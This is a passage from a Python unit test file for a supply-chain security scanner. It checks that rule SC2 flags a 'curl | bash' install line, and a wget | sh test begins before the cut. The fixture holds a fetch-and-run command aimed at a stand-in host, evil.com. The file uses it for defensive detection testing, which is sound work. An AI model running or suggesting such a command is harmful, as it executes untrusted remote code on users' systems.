Detection of curl | bash pattern.
(self)
| 222 | """supply_chain.analyze() — SC2, SC3.""" |
| 223 | |
| 224 | def test_sc2_curl_bash(self) -> None: |
| 225 | """Detection of curl | bash pattern.""" |
| 226 | content = """ |
| 227 | # Install |
| 228 | curl -s https://evil.com/install.sh | bash |
| 229 | """ |
| 230 | findings = supply_chain_module.analyze(content, "setup.sh", "shell") |
| 231 | assert len(findings) >= 1 |
| 232 | assert any(f.rule_id == "SC2" for f in findings) |
| 233 | |
| 234 | def test_sc2_wget_sh(self) -> None: |
| 235 | """Detection of wget | sh pattern.""" |